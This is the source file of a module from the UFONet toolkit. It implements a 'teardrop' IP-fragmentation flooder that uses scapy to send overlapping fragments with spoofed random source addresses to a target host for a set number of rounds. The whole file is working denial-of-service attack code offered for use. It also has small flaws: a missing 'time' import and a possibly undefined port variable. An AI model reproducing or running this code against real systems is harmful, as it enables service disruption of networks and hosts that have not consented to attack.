overlap.py 3.0 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket
  11. try:
  12. from urlparse import urlparse
  13. except:
  14. from urllib.parse import urlparse
  15. try:
  16. from scapy import *
  17. except:
  18. print("\nError importing: scapy lib.\n")
  19. sys.exit(2)
  20. # UFONet IP FRAGMENTATION (by overlapping) flooder (OVERLAP)
  21. def randIP():
  22. ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
  23. return ip
  24. def randInt():
  25. x = random.randint(1,65535) # TCP ports
  26. return x
  27. def overlapize(ip, sport, rounds):
  28. n=0
  29. try:
  30. for x in range (0,int(rounds)):
  31. n=n+1
  32. s_zombie_port = randInt()
  33. IP_p = IP()
  34. IP_p.src = randIP()
  35. try:
  36. IP_p.dst = ip
  37. except:
  38. print("[Error] [AI] [OVERLAP] Imposible to resolve IP from 'target' -> [Aborting!]\n")
  39. break
  40. try:
  41. payload="A"*15
  42. overlap="B"*9 # overlap size
  43. send(IP(src=IP_p.src, dst=IP_p.dst, id=12345, flags=0x1, frag=0)/payload, verbose=0)
  44. send(IP(src=IP_p.src, dst=IP_p.dst, id=12345, flags=0x0, frag=1)/overlap, verbose=0) # teardrop frag
  45. print("[Info] [AI] [OVERLAP] Firing 'deuterium gravitons' ["+str(n)+"] -> [OVERLAPPING!]")
  46. time.sleep(1) # sleep time required for balanced sucess
  47. except:
  48. print("[Error] [AI] [OVERLAP] Failed to engage with 'deuterium gravitons' ["+str(n)+"]")
  49. except:
  50. print("[Error] [AI] [OVERLAP] Failing to engage... -> Is still target online? -> [Checking!]")
  51. class OVERLAP(object):
  52. def attacking(self, target, rounds):
  53. print("[Info] [AI] 'IP OVERLAPPING' (OVERLAPGER) is ready to fire: [" , rounds, "deuterium gravitons ]")
  54. if target.startswith('http://'):
  55. target = target.replace('http://','')
  56. sport = 80
  57. elif target.startswith('https://'):
  58. target = target.replace('https://','')
  59. sport = 443
  60. try:
  61. ip = socket.gethostbyname(target)
  62. except:
  63. try:
  64. import dns.resolver
  65. r = dns.resolver.Resolver()
  66. r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
  67. url = urlparse(target)
  68. a = r.query(url.netloc, "A") # A record
  69. for rd in a:
  70. ip = str(rd)
  71. except:
  72. ip = target
  73. if ip == "127.0.0.1" or ip == "localhost":
  74. print("[Info] [AI] [OVERLAP] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  75. return
  76. overlapize(ip, sport, rounds) # attack with OVERLAP using threading